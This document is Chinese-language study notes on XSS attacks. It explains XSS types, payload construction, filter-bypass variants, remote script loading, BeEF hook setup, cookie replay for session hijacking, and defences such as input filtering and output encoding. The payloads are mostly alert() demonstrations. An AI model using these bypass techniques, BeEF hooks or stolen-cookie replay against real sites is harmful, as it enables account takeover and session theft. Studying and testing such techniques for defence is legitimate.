xss跨站脚本攻击
xss(cross-site scripting)
本因为css,因与css样式重名所以更名为xss。xss主要基于js完成恶意攻击
XSS危害
盗取用户账号
窃取用户cookie,冒充用户身份进入网站
劫持用户会话,执行任意操作
刷流量,执行弹窗广告
传播蠕虫病毒
XSS漏洞验证
PoC(Proof of Concept,概念验证,漏洞验证)
EXP(漏洞的完整利用工具)
shellcode(利用漏洞时所执行的代码)
payload(攻击载荷)
sqlmap 攻击代码的模板
msf 类似shellcode,功能是建立与目标的连接
常用
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>
XSS分类
反射型XSS,存储型XSS,DOM型XSS
反射型XSS是非持久性,参数型的跨站脚本。反射型xss在web应用的参数中,如搜索框的反射型xss
存储型XSS是持久性跨站脚本。XSS代码不是在参数中,而是写进数据库或者文件等可以永久保存数据的地方
存储型xss通常出现在留言板等地方,在留言板留言把数据写入数据库中。js代码的运行环境是浏览器,所以需要浏览器从服务器中载入恶意xss代码才能真正触发xss
DOM型XSS
payload修改受害者浏览器页面的DOM树而执行的,不会上传到服务器,使得DOM型XSS比较难检测
XSS的构造
利用<>构造html/js标签
如<script>alert(/xss/)</script>
伪协议
可以使用javascript:伪协议方式构造xss
javascript:alert(/xss);
<a href="javascript:alert(/xss/)">touch me</a>
<img src="javascript:alert(/xss/)"> (仅在ie6下测试成功)
产生自己的事件
在网页中会发生很多事件(比如鼠标移动,键盘输入等)。js可以对这些事件产生响应,所以我们可以通过事件来触发xss
事件种类
windows事件 对windows对象触发的事件
Form事件 HTML表单内动作触发事件
Keyboard事件 键盘按键
Mouse事件 由鼠标或类似用户动作触发的事件
Media事件 由多媒体触发的事件
如:<img src="./smile.jpg" onmouseover='alert(/xss/)'>当鼠标悬停在图片上时出现弹窗
<input type="text" onkeydown="alert(/xss/)">
XSS的变形
可以构造xss变形成各种形态绕过检测
大小写转换:
可以将payload进行大小写转换,如下面例子
<Img sRc="./smile.jpg" onmOuSeover='alert(/xss/)'>
引号的使用:
HTML对引号的使用不太敏感,但有些过滤函数很敏感
<img src="./smile.jpg" onmouseover="alert(/xss/)">
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
<img src=./smile.jpg onmouseover=alert(/xss/)>
'/'代替空格
利用左斜线代替空格
<img/src='./smile.jpg'/onmouseover='alert(/xss/)'>
回车
我们可以在一些位置添加tab和回车符来绕过关键字检测
<a href="j
a
v
a
script:alert(/xss/)">touch me</a>
对标签属性值进行转码
可以对标签属性值进行转码来绕过检测(html实体编码)
<a href="javascript:alert(/xss/)">t</a>
可以将以下字符插入任意位置
Tab 	
换行
回车
可以将以下字符插入到头部
SOH 
STX 
拆分跨站
<script>z='alert'</script>
<script>z=z+'/xss/'</script>
<script>eval(z)</script>
双写绕过
一次过滤的双写绕过
<scri<script>pt>alert(/xss/)</sc</script>ript>
shellcode的调用
shellcode就是在利用漏洞所执行的代码
完整的xss攻击会将shellcode存放在一定的地方,然后触发漏洞,调用shellcode
远程调用js:
可以将js代码单独放在一个js文件中,然后通过http协议远程加载脚本
如<script src="http://10.10.1.178/xss-test/xss.js"></script>
windows.location.hash
使用js中的windows.location.hash方法获取url地址栏中的xss代码
windows.location.hash会获取url中#后面的内容,如http://domain.com/index.php#adjust,windows.location.hash的值就是adjust
可以构造如下代码[ ?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/xss/) ]
XSS Downloader
xss下载器是将xss代码写到网页中,然后通过ajax技术取得网页中的xss代码
在使用xss downloader之前我们需要一个自己的页面,xss_downloader.php,内容: ~~~BOF|alert(/xss/)|EOF~~~
备选存储技术
shellcode还可以存储在客户端的本地域中,如HTTP Cookie、Flash 共享对象、UserData、localStorage等
XSS的防御
使用xss filter过滤用户提交的有害信息从而达到防范xss攻击的效果
输入过滤,对用户输入的内容进行严格的过滤
输入验证:对用户输入的信息进行严格认证,仅接受合法的数据
输入是否仅包含合法的字符
输入字符串是否超过了最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如e-mail地址,ip地址等
数据消毒
过滤和净化掉有毒的输入
输出编码
html编码主要对应html实体,用编码代替字符
黑白名单
黑白单:非允许数据
白名单:允许的数据
beef(集成在kali里)
xss漏洞利用平台
beef的启动
工具目录:/usr/share/beef-xss
启动beef
sh
./beef或者beef-xss
修改默认用户名和密码
vim /usr/share/beef-xss/config.yaml
web界面管理控制台
localhost:3000/ui/panel
ShellCode
localhost:3000/hook.js
测试页面
localhost:3000/demos/butcher/index.html
当有人访问hook.js或者测试页面的时候,就会上线。可以对已上线主机读取信息以及进行命令操作
cookie的窃取与欺骗(固定会话攻击)
(已经窃取到的cookie)data: cookie=username=admin; userid=1
在自己浏览器运行js:
document.cookie="username=admin";
document.cookie="userid=1";